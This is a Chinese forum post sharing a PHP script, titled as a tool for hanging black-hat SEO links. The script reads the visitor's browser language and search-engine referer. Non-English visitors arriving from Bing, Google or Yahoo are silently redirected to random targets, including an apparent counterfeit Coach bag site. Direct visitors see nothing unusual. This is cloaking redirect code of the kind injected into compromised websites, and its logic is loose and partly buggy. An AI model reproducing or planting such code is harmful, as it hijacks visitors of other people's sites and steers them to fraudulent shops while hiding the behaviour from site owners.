回答

收藏

php判断浏览器和系统语言通过搜索引擎随机跳转网站-挂黑链

前端开发 前端开发 27 人阅读 | 0 人回复 | 2023-05-03

  1. <?  
  2. $language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];  
  3. $lang="en";  
  4. if ( strpos($language,$lang) == false ){            //如果客户端的浏览器语言不是en的则不跳转  
  5. if(isset($_SERVER['HTTP_REFERER'])){                //判断源地址的链接,如果是直接访问网址则不进行跳转  
  6. $source = $_SERVER['HTTP_REFERER'];  
  7. //echo $source;  
  8. } else {  
  9. $source = '';  
  10. }  
  11. $urla="bing";  
  12. $urlb="com.hk";  
  13. $urlc="google";    //搜索引擎  
  14. $urld="yahoo";  
  15. if ( strpos($source,$urlb) == false ){               
  16. if (( strpos($source,$urla) == true )or( strpos($source,$urlc) == true )or( strpos($source,$urld) == true ))     //如果源地址是搜索引擎的其中一种  
  17.    
  18. {   //则继续判断  
  19. error_reporting(7);        //报错等级  
  20. $target_url=array();         
  21. for($i=0;$i<39;$i++)                                                            
  22. {  
  23.     $target_url[$i]="http://www.coachbagclearancesite.com";  
  24. }  
  25. for($i=41;$i<59;$i++)  
  26. {  
  27.     $target_url[$i]="http://blog.mcshell.org";  
  28. }  
  29. for($i=60;$i<100;$i++)  
  30. {  
  31.     $target_url[$i]="http://www.google.com";  
  32. }  
  33. //print_r($target_url);  
  34.    
  35. //print_r(rand_array($target_url));  //调试代码  
  36. function rand_array($arr)  
  37. {  
  38.     $arr_size=sizeof($arr);  
  39.     $tmp_arr=array();  
  40.     for($i=0;$i<$arr_size;$i++){  
  41.         mt_srand((double) microtime()*1000000);    //制作随机的网址  
  42.         $rd=mt_rand(0,$arr_size-1);  
  43.         if($tmp_arr[$rd]=="")  
  44.         {  
  45.             $tmp_arr[$rd]=$arr[$i];  
  46.         }  
  47.         else
  48.         {  
  49.             $i=$i-1;  
  50.         }  
  51.     }  
  52.     return $tmp_arr;  
  53. }  
  54. $attack_url=rand_array($target_url);  
  55. $attackurl="com";  
  56. if ( strpos($attack_url[1],$attackurl) == true ){  
  57. //最后随机获取的那个链接  
  58. Header("Location: $attack_url[1]");  
  59. }  
  60. }   
  61. }  
  62. }  
  63. ?>
复制代码


"打赏他人,曝光自己,利他利我"
还没有人打赏,支持一下
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则